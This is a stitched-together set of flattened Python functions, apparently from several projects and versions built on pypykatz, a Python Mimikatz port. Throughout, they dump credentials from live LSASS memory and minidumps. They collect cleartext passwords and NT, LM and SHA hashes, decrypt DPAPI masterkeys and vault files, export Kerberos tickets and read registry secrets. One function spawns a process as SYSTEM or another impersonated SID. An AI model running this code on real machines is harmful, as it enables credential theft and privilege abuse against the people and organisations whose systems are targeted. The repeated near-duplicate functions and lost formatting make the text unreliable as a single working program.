def get_by_pypykatz(self): try: mimi = pypykatz.go_live() except: return {} return self._extract_from_dump(mimi, 'pypykatz')
def run_live(self, args): files_with_error = [] results = {} if args.module == 'lsa': filename = 'live' try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') if args.method == 'procopen': mimi = pypykatz.go_live(packages=args.packages) elif args.method == 'handledup': mimi = pypykatz.go_handledup(packages=args.packages) if mimi is None: raise Exception('HANDLEDUP failed to bring any results!') results['live'] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print('Exception while dumping LSA credentials from memory.') traceback.print_exc() pass self.process_results(results, files_with_error,args)
def get_all_keys_from_lsass_live(self): """ Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials It does not retun anything, just sets up all key material in the object return: None """ from pypykatz.pypykatz import pypykatz katz = pypykatz.go_live() sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions] for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) for package, _, _, nthex, lmhex, shahex, _, _, _, plaintext in katz.logon_sessions[ x].to_grep_rows(): if package.lower() == 'dpapi': continue sids = [katz.logon_sessions[x].sid] for sid in sids: if plaintext is not None: self.get_prekeys_from_password(sid, password=plaintext, nt_hash=None) if nthex is not None and len(nthex) == 32: self.get_prekeys_from_password(sid, password=None, nt_hash=nthex) if shahex is not None and len(shahex) == 40: self.prekeys[bytes.fromhex(shahex)] = 1
def run_live(self, args): files_with_error = [] results = {} if args.module == 'lsa': filename = 'live' try: if args.method == 'procopen': mimi = pypykatz.go_live() elif args.method == 'handledup': mimi = pypykatz.go_handledup() if mimi is None: raise Exception( 'HANDLEDUP failed to bring any results!') results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print( 'Exception while dumping LSA credentials from memory.') traceback.print_exc() pass self.process_results(results, files_with_error, args)
def run(self): mimi = None try: mimi = pypykatz.go_live() except Exception: self.debug(traceback.format_exc()) if mimi: results = {} logon_sessions = mimi.to_dict().get('logon_sessions', []) for logon_session in logon_sessions: # Right now kerberos_creds, dpapi_creds results are not used user = logon_sessions[logon_session] # Get cleartext password for i in [ 'credman_creds', 'ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds' ]: for data in user.get(i, []): if all((data['username'], data['password'])): login = data['username'] if login not in results: results[login] = {} results[login]['Type'] = i results[login]['Domain'] = data.get( 'domainname', 'N/A') results[login]['Password'] = data['password'] # msv_creds to get sha1 user hash for data in user.get('msv_creds', []): if data['username']: login = data['username'] else: login = user['username'] if login not in results: results[login] = {} if data['SHAHash']: results[login]['Shahash'] = codecs.encode( data['SHAHash'], 'hex') if data['LMHash']: results[login]['Lmhash'] = codecs.encode( data['LMHash'], 'hex') if data['NThash']: results[login]['Nthash'] = codecs.encode( data['NThash'], 'hex') constant.pypykatz_result = results pwd_found = [] for user in results: results[user]['Login'] = user pwd_found.append(results[user]) return pwd_found
def run(self): mimi = None try: mimi = pypykatz.go_live() except Exception: pass if mimi: results = {} logon_sessions = mimi.to_dict().get('logon_sessions', []) for logon_session in logon_sessions: # Right now kerberos_creds, dpapi_creds and credman_creds results are not used user = logon_sessions[logon_session].to_dict() # Get cleartext password for i in ['ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']: for data in user.get(i, []): if all((data['username'], data['domainname'], data['password'])): login = data['username'] if login not in results: results[login] = {} results[login]['Domain'] = data['domainname'] results[login]['Password'] = data['password'] # msv_creds to get sha1 user hash for data in user.get('msv_creds', []): if data['username']: login = data['username'] else: login = user['username'] if login not in results: results[login] = {} if data['SHAHash']: results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex') if data['LMHash']: results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex') if data['NThash']: results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex') constant.pypykatz_result = results pwd_found = [] for user in results: results[user]['Login'] = user pwd_found.append(results[user]) return pwd_found
def get_masterkeys_from_lsass_live(self): """ Parses the live LSASS process and extracts the plaintext masterkeys return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.go_live() for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) return self.masterkeys
def run_live(self, args): files_with_error = [] results = {} if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print('Exception while dumping LSA credentials from memory.') traceback.print_exc() pass self.process_results(results, files_with_error,args)
def main(): import argparse import glob parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --or at least some parts of it--') parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') parser.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed') parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' minidump_group = subparsers.add_parser('minidump', help='List all tickets in the file') minidump_group.add_argument('minidumpfile', help='path to the minidump file or a folder (if -r is set)') minidump_group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing') minidump_group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder') live_group = subparsers.add_parser('live', help='List all tickets in the file') live_subparsers = live_group.add_subparsers(help = 'module') live_subparsers.required = True live_subparsers.dest = 'module' live_subparser_lsa_group = live_subparsers.add_parser('lsa', help='List all tickets in the file') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] ###### Live if args.command == 'live': if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print('Exception while dumping LSA credentials from memory.') traceback.print_exc() pass ###### Minidump elif args.command == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.minidumpfile) try: mimi = pypykatz.parse_minidump_file(args.minidumpfile) results[args.minidumpfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.minidumpfile) if args.halt_on_error == True: raise e else: traceback.print_exc() if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n'+str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
def main(): import argparse import glob parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--json', action='store_true', help='Print credentials in JSON format') parser.add_argument('-e', '--halt-on-error', action='store_true', help='Stops parsing when a file cannot be parsed') parser.add_argument( '-o', '--outfile', help= 'Save results to file (you can specify --json for json file, or text format will be written)' ) parser.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' minidump_group = subparsers.add_parser( 'minidump', help='Get secrets from LSASS minidump file') minidump_group.add_argument( 'minidumpfile', help='path to the minidump file or a folder (if -r is set)') minidump_group.add_argument('-r', '--recursive', action='store_true', help='Recursive parsing') minidump_group.add_argument('-d', '--directory', action='store_true', help='Parse all dump files in a folder') live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' live_subparser_lsa_group = live_subparsers.add_parser( 'lsa', help='Get all secrets from LSASS') live_subparser_registry_group = live_subparsers.add_parser( 'registry', help='Get all secrets from registry') live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) rekall_group = subparsers.add_parser('rekall', help='Get secrets from memory dump') rekall_group.add_argument('memoryfile', help='path to the memory dump file') rekall_group.add_argument( '-t', '--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') registry_group = subparsers.add_parser( 'registry', help='Get secrets from registry files') registry_group.add_argument('system', help='path to the SYSTEM registry hive') registry_group.add_argument('--sam', help='path to the SAM registry hive') registry_group.add_argument('--security', help='path to the SECURITY registry hive') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] ###### Live if args.command == 'live': if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print( 'Exception while dumping LSA credentials from memory.') traceback.print_exc() pass elif args.module == 'registry': from pypykatz.registry.live_parser import LiveRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: logging.debug( 'Failed to obtain registry secrets via direct registry reading method' ) try: lr = OffineRegistry.from_live_system() except Exception as e: logging.debug( 'Failed to obtain registry secrets via filedump method' ) if lr is not None: if args.outfile: lr.to_file(args.outfile, args.json) else: print(str(lr)) else: print('Registry parsing failed!') elif args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Rekall elif args.command == 'rekall': mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override) results['rekall'] = mimi ###### Minidump elif args.command == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.minidumpfile) try: mimi = pypykatz.parse_minidump_file(args.minidumpfile) results[args.minidumpfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.minidumpfile) if args.halt_on_error == True: raise e else: traceback.print_exc() ###### Registry elif args.command == 'registry': po = OffineRegistry.from_files(args.system, args.sam, args.security) if args.outfile: po.to_file(args.outfile, args.json) else: print(str(po)) if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls=UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n' + str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print( json.dumps(results, cls=UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % ( base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file( os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[ luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
def get_windows_creds() -> List[WindowsCredentials]: pypy_handle = pypykatz.go_live() logon_data = pypy_handle.to_dict() windows_creds = _parse_pypykatz_results(logon_data) return windows_creds